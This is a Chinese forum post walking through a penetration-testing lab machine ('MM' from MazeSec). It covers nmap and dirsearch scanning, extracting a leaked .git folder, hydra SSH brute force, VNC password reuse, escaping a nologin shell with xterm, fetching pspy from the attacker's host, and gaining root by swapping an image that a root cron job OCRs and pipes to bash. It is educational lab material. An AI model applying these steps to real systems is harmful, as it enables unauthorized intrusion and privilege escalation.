渗透靶机复盘(2)——vnc密码复用、默认终端nologin绕过、定时任务提权

靶机来自 MazeSec(迷踪安全): MazeSec | About 靶机名:MM 作者 :dsz AI总结 今天复盘一下MM靶机。 为了防止有新手不知道打靶机的流程,这次从部署环境开始。(因为我一开始是打ctf的,第一次打靶机还真不知道怎么开始) 环境搭建 本次教程都以MazeSec自制靶机举例...
渗透靶机复盘(2)——vnc密码复用、默认终端nologin绕过、定时任务提权
渗透靶机复盘(2)——vnc密码复用、默认终端nologin绕过、定时任务提权

靶机来自 MazeSec(迷踪安全):MazeSec | About
靶机名:MM
作者 :dsz

AI总结



今天复盘一下MM靶机。
为了防止有新手不知道打靶机的流程,这次从部署环境开始。(因为我一开始是打ctf的,第一次打靶机还真不知道怎么开始)

环境搭建

本次教程都以MazeSec自制靶机举例,其他的都万变不离其宗。
我们首先下载好靶机环境文件,一般都是一个ova文件。全称:Open Virtualization Appliance(开放虚拟化设备)
其中包括了完整配置信息和虚拟磁盘数据(也就是打开即用的虚拟机,基本不需要在配置,除了网络之类的)


拿到靶机后我们用 VirtualBox打开(MazeSec的靶机优先支持VirtualBoxVMware有可能会有找不到网卡的情况)


我们依次点击:管理—>导入虚拟电脑—>选择文件(需要的靶机ova文件)
我们可以选择改一下位置,我改成了D盘里自建的文件夹。

然后点击完成。等待导入完全(右上角有进度条)

导入后右边可以看到配置详情,我们几乎不要去管,但是有时候会碰到没有找到ip的情况,我们看一看网络设置对不对。这里建议直接选择桥接,特别是对于VMware上部署kali的师傅,两个平台的nat网段是不同的(如果你是网络高手或许可以自己去调一下,相关密码需要进入社区获取 )

然后双击即可打开靶机。我们打开可能会遇到如下报错,不要管他,点一下更改网络设置然后点确定退出就好了。

信息收集

打开靶机后我们就不要管他了(也可以看,我是为了尽量模拟真实环境)
回到我们的攻击机(kali等),注意kali也要桥接哦~

我们nmap起手收集一下目标ip

$ nmap 172.20.10.0/24 -sn #-sn是只发ping包扫描


找到VirtuaBox的网卡就是靶机地址了。
ip:172.20.10.3

然后在扫一下端口开放情况。

$ nmap -p- 172.20.10.3  #-p-代表扫描全端口


开放228059016001
四个端口。

vnc复盘

  • VNC 是一种让你用一台电脑(客户端)远程操作另一台电脑(服务器)桌面的技术

5901/tcp:VNC 服务的主端口 大门,你从这里连接进去|
6001/tcp:X11 服务端口(Linux图形底层)内部管道,服务器自己用的,你不需要管它|
:1:(显示编号)这是第1号图形会话 如果同时开多个桌面,就是 :1:2…|

连接命令:

vncviewer 172.20.10.3:5901

就和22端口的ssh一样,但是这里突然开始一个vnc也很不正常,需要留意一下。
和ssh一样有可能被暴力破解的可能


初步渗透测试-获取user-shell

我们一般有web的话就先去web看看,因为web的洞会简单一点。


一个静态页面,没思路,那么就去扫一下目录。

$ dirsearch -u 172.20.10.3


看到泄露了很多git文件,那么就是git泄露,我们用工具扒下来看看。

root@JYlover:~/webtool/GitHacker# githacker --url http://172.20.10.3/.git/ --output-folder result


看到有几次提交记录,我们能得到一个域名mm.dsz
这里我尝试添加一个hosts记录,果然访问到一个登录页面。
不能输入和点击,尝试修改前端代码,但是最后发现完全没有用,就是一个壳子。那这条路就断了。


注意,这里由于环境变化,下面的ip和上面不一样,大家自行理解一下。


于是我们只能再次回到git。


我把几次的git记录都看了一遍,发现过程中添加又删除了一个密码sublarge

尝试用它登录ssh或者vnc,但是都不对。
那没办法,git里也没有什么信息了(4次提交都看过了)
那就只剩下爆破这条路了。我们hydra试试。

┌──(kali㉿JYlover)-[~]
└─$ hydra -l mingmingjiu -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.103 -t 4 -e nsr

这里添加-e nsr参数测试了弱密码,没想到果然就是用户名复用。
那我们尝试ssh登录。

┌──(kali㉿JYlover)-[~]
└─$ ssh mingmingjiu@192.168.56.103
#password:mingmingjiu

但是发现登陆成功却直接退出。


原因是该用户的shell被禁用,但是密码是正确的。

既然shell被禁用了,我们可以想到,这里留一个vnc是做什么的,是否存在密码复用问题呢,尝试登录。

┌──(kali㉿JYlover)-[~]
└─$ vncviewer 192.168.56.103:5901
# password:mingmingjiu


成果登录上了vnc桌面。

权限提升-获取root-shell

我们现在是没有shell权限的,那么怎么办呢,这里有一个办法是用其他终端,xterm


然后这里就直接弹了一个shell回来,做权限维持

关于shell权限复盘

这里为什么我们不能ssh登录,也不能直接用terminal,但是用xterm这些古老的终端却可以。
我们先看一下用户信息:

mingmingjiu@MM:~$ cat /etc/passwd


能看到mingmingjiu用户的默认shell是/usr/sbin/nologin

我们ssh登录时:验证成功后,系统会尝试启动你在 /etc/passwd 中定义的 Shell(例如 /bin/bash)
如果定义的是 /usr/sbin/nologin,系统就会运行这个程序,它会打印一段文字(通常是 “This account is currently not available.”),然后直接断开连接。

而自带terminal也是直接去打开默认shell,但是这里默认shell是nologin
而古老的xterm,他不知道去主动找用户默认shell,而是呆呆的直接启动一个sh
所以他没有收到/etc/passwd的影响。


得到shell之后我们就尝试去权限提升了。
我们传一个pspy64到靶机(这是一个监控程序,会一直监控当前的进程,主要是发现一些存在的定时任务等)
这里可能有些刚接触靶机的师傅会不知道,一般我们打靶机会自备一些常用的工具箱,里面有一些什么漏洞扫描,进程监控等等工具,到了提权的时候可以把工具传上去帮助我们信息收集。例如:


这里就是我的工具箱,获得低权限shell时起http服务传一些工具上去。然后靶机上下载下来直接监控:

mingmingjiu@MM:~$ wget 192.168.56.1:8888/pspy64


就不全部截图了,有点长,大家明白意思就好了。
然后我们直接pspy监控进程:

mingmingjiu@MM:~$ chmod +x pspy64
chmod +x pspy64
mingmingjiu@MM:~$ ./pspy64


明显能看到有些程序在重复执行,而且还是以root身份执行的(UID=0),说明很有可能是作者留给我们的提权点。
能注意到其中有一个

 /bin/sh -c /bin/bash /opt/a.sh
 

一直作为定时任务在执行,后面应该就是它里面执行的命令了。
我们去看看这个文件。

mingmingjiu@MM:~$ cat /opt/a.sh


是bash执行gocr后的结果,这个gocr是什么,我们可以去问一下ai。

很简单,就是把图片里面的文本识别出来。OCR模型就是这个作用。

也就是说如果我们有一张图片 1.png , 里面写着id
然后我们执行gocr ./1.png | bash
就会输出id命令的结果。

那么就很简单了,也就是说只要我们把/tmp/go.png换成我们自制的命令图片,然后等定时任务执行。那就可以以root身份执行任意命令了。达到定时任务提权的目的。

总结

总结一下这次靶机接触到的一些知识吧。

  1. vnc是一种和ssh类似的连接远程桌面的技术,通过命令连接
vncviewer <ip>:<port>
  1. /etc/passwd中给用户默认shell指定为/usr/sbin/nologin时会导致ssh,以及现代的终端模拟器失效。此时可以使用一些古老的终端如xterm等直接起一个终端,而不是走默认终端。
  2. 可以通过工具等,多注意定时任务的执行

2 个帖子 - 2 位参与者

阅读完整话题

来源: LinuxDo 最新话题查看原文